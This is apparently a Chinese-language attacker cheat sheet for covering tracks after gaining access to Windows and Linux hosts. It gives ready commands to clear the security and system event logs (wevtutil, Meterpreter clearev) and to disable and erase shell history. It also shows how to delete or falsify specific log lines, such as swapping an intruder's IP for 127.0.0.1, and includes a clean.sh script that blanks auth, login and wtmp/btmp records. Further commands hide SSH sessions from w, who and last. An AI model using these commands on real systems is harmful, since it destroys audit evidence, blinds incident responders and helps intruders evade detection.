windows
1.有远程桌面权限时手动删除日志:
事件查看器-清除日志
2.wevtutil工具命令行清除:
wevtutil el 列出系统中所有日志名称
wevtutil cl system 清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security 清理安全日志
wevtutil epl system C:\System_log.evtx 将System日志导出到文件C:\System_log.evtx
3.meterperter自带清除日志功能:
clearev 清除windows中的应用程序日志、系统日志、安全日志
linux
1.清除历史命令记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
history -w #将内存中历史命令写入.bash_history
echo > .bash_history #删除历史文件中的内容
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
#设置不记录history
source .bashrc #重新加载一下配置文件复原
2.日志清理
完全删除日志文件
echo > filename
删除当天日志
sed -i '/当天日期/'d filename #匹配字符串删除
修改ip
将所有170.170.64.17ip替换为127.0.0.1
sed -i 's/170.170.64.17/127.0.0.1/g' filename
shred命令
实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数
shred -f -u -z -v -n 8 1.txt
一键化脚本
clean.sh
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
last -f wtmp 它是一个二进制文件
3.隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到
ssh -T root@192.168.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
处理网站日志
iis apache niginx等等
access.log等等